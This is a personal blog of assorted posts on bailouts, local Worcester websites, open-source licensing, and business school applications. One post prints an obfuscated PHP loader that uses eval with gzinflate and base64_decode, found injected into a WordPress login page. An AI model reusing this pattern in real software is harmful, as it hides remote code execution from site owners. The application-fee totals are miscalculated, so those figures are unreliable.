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Is there anyone else who feels like they are getting the short end of the stick?  This whole government bailing everybody but me out thing is really starting to get to me.

This huge mortgage crisis has everyone yelling at the next president to make it not happen.  Why did these people take mortgages in the first place?  I understand that there are a billion people who would say the same thing as I just said, but the fact remains that if businesses can no longer function, is it really the duty of the government to bail them out?

Here’s what really gets me.  Why is it that if i am responsible and follow a set of rules, i dont get any handouts like everyone else is getting?  Presumably if you increase the supply of dollars, the value of each individual dollar is going to go down. So, I look at it this way, there are three classes of people, low income, middle income, and high income.  I dont need to define the numbers for now on those.  But these low income people may or may not make bad decisions regarding living in a home they cant afford, and get bailed out.  The high income people (mainly the ones working for financial companies that are now folding) are making decisions that are causing their companies to fail.  Now, both of these classes of people / organizations are getting bailed out of their situations and are literally being handed a get out of jail free card!  Except, this card they’re being handed is causing the value of my savings to go down!

When we were bailing people out from the mortgages they couldn’t afford, it struck me as somewhat frustrating.  There was a bailout plan (link to follow) that cited a certain amount of criteria that if you fell into these criteria lists, you would get help from the government.

Well, I was in the age range, I was in the income range.  My heart kinda skipped a few beats because it would have meant around $80,000 extra to me and my life giving me a head start on my plans.  I was excited until I saw “Your current mortgage payment must be in excess of 30% of your yearly income.”  My heart’s excitement died, and quickly turned to anger.

Why is it that since i make good financial decisions that I am not given the same considerations as those who are making crappy ones?  Does anyone else feel this way?

Anyway, that’s my rant for the day.  I’ll check in later.

So I manage another wordpress blog for a local publication and inherited it from another designer.  They use a third party hosting provider that shares the server with multiple (who knows how many) other websites.

They were excluded from Google for having bad links in their website (a virus had installed links inside their website!).  I fixed this for them and cleaned the site.  Took 4 or 5 hours to do the entire site, the virus was pretty engrained.

4 months later, their wordpress login page stopped working.  Looking at it, I saw:

$Sy1Lz1='Sy1LzNFIy8xJjU9PLYlP';
$Sy1Lz2='zs8rSc0rKdZQyigpKb';
$Sy1Lz3='DS169KTMssSizPL8pJ0UvOz9';
$Sy1Lz4='XPySwu0SupKFHS1LQGAA==';
$Sy1Lz5=$Sy1Lz1.$Sy1Lz2.$Sy1Lz3.$Sy1Lz4;

eval(gzinflate(base64_decode($Sy1Lz5)));

I couldn’t find any information on this virus, but the above text evaluates to requesting a file from a website.  I’ll post more information about it later.

a friend and I launched a website promoting a part of Worcester called the Blackstone Canal District.  it’s pretty cool and probably the most amount of “stuff” i’ve ever put on one website in my life (and that’s saying a lot!).  Check it out:

http://www.worcestercanaldistrict.com

I found a cool web page that gives you code for great tricks on making good looking forms.  I’m excited that I found it and everyone should check it out!

Collection of CSS Stylesheets

Ten Mil the Hard Way - The story of Earnest Graham

What a great story.  I read this in ESPN the magazine and saw it on ESPN’s site, and was happy to share it with everyone.  Earnest Graham, the Tampa Bay Buccaneers quarterback, is a great guy, and subsequently is paying back a ton of people who helped him become successful in life.  Everyone believed in him, including his girlfriend, now wife, when thing swere seemingly hopelss.

I ecourage everyone who reads this blog to read this story.  Phenominal.

- ESPN The Magazine

Failure is a part of life.  We all are familiar with and understand this cliche way of looking at failure.  There is no possible way that a person can go through life expecting to succeed at everything.  There are those who got to where they are because they are lucky, and there are people who got to where they are through hard work.  Either way, everyone has done things along the path of their success to ensure that success.  Sometimes, people think they need to do something in order to be successful, but they may not always be right.

I am currently working on a project that I know is going to fail.  I seem to still be putting my heart and strongest efforts into making this project successful, though.  I suppose that I am not required to complete the project, yet, I feel that I have to in order to be who I want to be.  I understand that being this vague and not being more specific opens up the possibility of being biased in how I describe this project, but, is the experience along the way of working on a project worth the time if the end result of the project is a failure?

Take, for instance, an olympic gymnist.  These gymnists train their whole (albeit very young, 16) lives trainign to go to the olympics.  What if they fail?  Chances are in 4 years they will be too old to compete, so they get one chance and one chance only to succeed.  If they dont get gold, did they succeed?  Some would argue that placing any medal in the olympics is a great success.  What if they dont get any medal?  Was the amount of effort and the fact that they “gave it their best,” really worth all the late nights, sweat, blood, broken bones, and money that it cost to get to where they are?

I think I would argue that yes, it is worth it.  The experience of actually competing against those who are considered to be the best at what they do in the world is most certainly worth the failure at the end.  In fact, technically, in a project that you understand there may be failure at the end, some could consider that a successful identification of the ability of the project to be come a success.  A year ago, I would have asked “Well, if you knew you were going to fail, why did you even try?”  Now, I think that answer is pretty clear.  “If I hadn’t tried, I wouldn’t have known.”

The Wall Street Journal today reported that Open Source software is enforceable under copyright law.  A man named Robert Jacobsen, a model-train enthusiast, put some software code online that he had written to apparently control his model train set.  Someone, named Matthew Katzer, down the road took his code that he placed online and formed a product around it so that his business could make a profit.

Anyone who has contributed to open source software (or alternatively, just used it), knows that there are certain protections that are on the software.  These protections are usually set by GNU, but can be other types of open source licenses as well.  A few other licenses i’ve come across are:

- Apache License

- MIT License

- BSD License

Here is an excerpt from the Wall Street Journal article:

The US District Court for the Northern District of California ruled that the license Mr. Jacobsen used was “intentionally broad” and therefore didn’t create liability for copyright infringement.  Instead, the court ruled, he might be able to claim breach of contract.

Legal experts that the Wall Street Journal spoke to mentioned that the plaintiff can seek statutory damages and can more easily be granted an injunction than under the contract law.  The important piece of information here is that the cour of appeals determined that the terms of the Artistic License are enforceable copyright conditions.

This is a big step in the open source movement, because it puts a legitimacy to the fact that if you use certain parts of software that has been made “open” or “free,” and you do not follow the rules set forth in that which made the software open and free in the first place, you are breaking the law and will be prosecuted.

It’s actually interesting to think that an opposite ruling would have been such a hard hit to the open source community, since the copyright would hold no water.  People would start using this software, changing it, and selling it for profit, which would contract contributions made by the open source community.  I’m glad this ruling went the way it did.  I have had some ideas for open source projects that could be very profitable in the long run, and this solidifies my faith in putting an “open license” on the software.

So I guess it is no secret now that I am going to be applying to business school.  I have made some huge strides in life thus far in my life and I know that these strides have prepared me to begin the rigorous course load and fascinating lectures of business school.

I am going to be applying to 4 schools.  Harvard, MIT Sloan, Bentley, and Babson.  I pick these schools because I think the courses that are part of the curriculum are best suited for my career goals.  I am going to have another post for each school’s application process and how I am reacting to each.  But this post is to mainly discuss the application fees!

Here are the application fees of the four schools that I am going to be applying:

• Harvard - $235
• Sloan - $230
• Bentley  - $50
• Babson - $100

There is also a GMAT application fee:

• GMAT - Test Fee - $250

So, if I decided to apply to all four of these graduate schools, I will be forking out $655 in application fees!  On top of that, and even before I can consider application fees, I have to take the GMAT, which makes the grand total of applying to these 4 business schools $905.

One would also consider the fact that maybe this application fee is to weed out potential people who feel they may not be accepted.  Harvard and MIT Sloan both have very exclusive programs.  Harvard accepted 14% of its applicants last year (914 students).  MIT Sloan was able to accept 20% of their applicants (350 students).

The question arises, does it make good business sense to apply to all of these schools?  There’s something about MIT Sloan that makes me feel it would appeal to my entrepreneurial abilities, and honestly may be a completely better candidate for the Sloan School of Management, however, I am not drawn to it as I am to Harvard.

Is my pull to Harvard emotional and unfounded on any fact?  If so, it isn’t the best business practice to go purely on emotion.  As my studies progress and things come closer to application time, I will better be able to pick the school that I would like to attend (if and when I am accepted!).

So, my work is cut out for me.  Wish me luck as I take the next step in my life.

There’s a great new website which covers restaurants in the Worcester, MA area.  It offers dining reviews, locations, maps, pictures, and user experiences for all central Massachusetts restaurants.  The site is called Taste Worcester. I consulted on the back end and SEO of the site, but was not part of the initial design of the site, which I think looks great.  The makers of the Pulse Magazine, Pagio, Inc are the content masters of the site, so all reviews are actually from local people who are being paid to review the site.  I encourage everyone to contribute to the site, as Worcester’s community is growing and the culture in the area has impressed me in the last few years.

Duh, right?  Some may find this obvious, but I found out very early in studying for my GMAT and completing my application to Business School that the GMAT test and the application have common elements.  In the essays that you have to write, you have to answer questions that are asked of you, or make definitive statements as to why some statement is true or false.

The GMAT asks you to explain why a particular statement made by one or more real-world business executives is flawed and what would make the statement have more value.

These two seemingly different focuses are actually one in the same, if you can remove yourself from your own writing, which is hard to do.  I find that if I write something, then take a break and do something completely different for a little while, I can come back and subjectively read my own writings and critique it just as well as I could offer a critique of others’ writings.

So, when you finish writing your MBA application essays, take a couple days off, come back and read it again and treat it like a GMAT question.  Seems like a good idea, right?

This may or may not help you, but good luck!